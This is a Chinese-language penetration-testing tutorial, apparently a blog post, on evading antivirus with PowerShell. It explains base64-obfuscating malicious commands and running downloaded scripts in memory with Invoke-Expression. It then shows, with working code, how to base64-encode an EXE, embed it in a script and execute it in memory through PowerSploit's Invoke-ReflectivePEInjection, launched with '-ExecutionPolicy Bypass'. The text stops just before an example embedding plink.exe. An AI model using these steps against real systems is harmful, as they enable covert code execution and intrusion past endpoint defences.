1.無需在目標上安裝其他任何東西。
2.強大的引擎(例如可以直接調用 .NET 代碼)。
3.可以使用 base64 編碼命令來混淆惡意命令,使惡意命令變的不容易被發現。這同樣也是壹種可以避免使用特殊字符的方法,尤其是在壹個涉及多個步驟需要分離不同攻擊負荷的高級攻擊中。
4.可以使用Invoke-Expression將字符串解釋為 Powershell
命令。從滲透測試的角度看,這可以避免在目標磁盤上編寫復雜的腳本。例如:妳可以使用 Powershell 下載額外的復雜腳本,然後通過調用
Invoke-Expression 解釋並執行下載到內存中的腳本。這個過程同樣可以躲避殺毒軟件的查殺。
我們想在目標上運行壹些相當復雜的功能,這些功能常是 EXE 文件的壹部分。我不想直接在目標上放置壹個二進制文件,因為這樣可能會觸發反病毒機制。所以我想將其放入 Powershell 腳本中,不過我也不想重寫整個 Powershell 腳本。
最終我想到壹個辦法。
將二進制文件嵌入到 Powershell 腳本中,並直接通過腳本運行而不用將其寫入到磁盤裏。
下面演示解決步驟:
1.將二進制文件進行 base64 編碼
可以使用以下函數:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
2. 按如下過程創建壹個新的腳本
1.用上壹步的方法將 EXE 文件轉為字符串;
2.準備 Invoke-ReflectivePEInjection(Powersploit project 的壹部分);
3.將字符串轉為字節數組;
4.調用 Invoke-ReflectivePEInjection。
所以,二進制文件只是 Powershell 腳本中的壹段字符串,在將字符串解碼為二進制數組後,就可以調用 Invoke-ReflectivePEInjection 直接在內存中運行。
最後看起來像這樣:
# base64 編碼的二進制文件
$InputString = '...........'
function Invoke-ReflectivePEInjection
{
......
......
......
}
# 將二進制字符串轉為字節數組
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在內存中運行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
現在就可以在目標上運行腳本了:
powershell -ExecutionPolicy Bypass -File payload.ps1
根據嵌入的不同二進制文件,可能會出現以下錯誤:
PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
解決這個問題只需要運行 32 位的 PowerShell 即可。
下面是我將 plink.exe 嵌入 payload.ps1 的例子: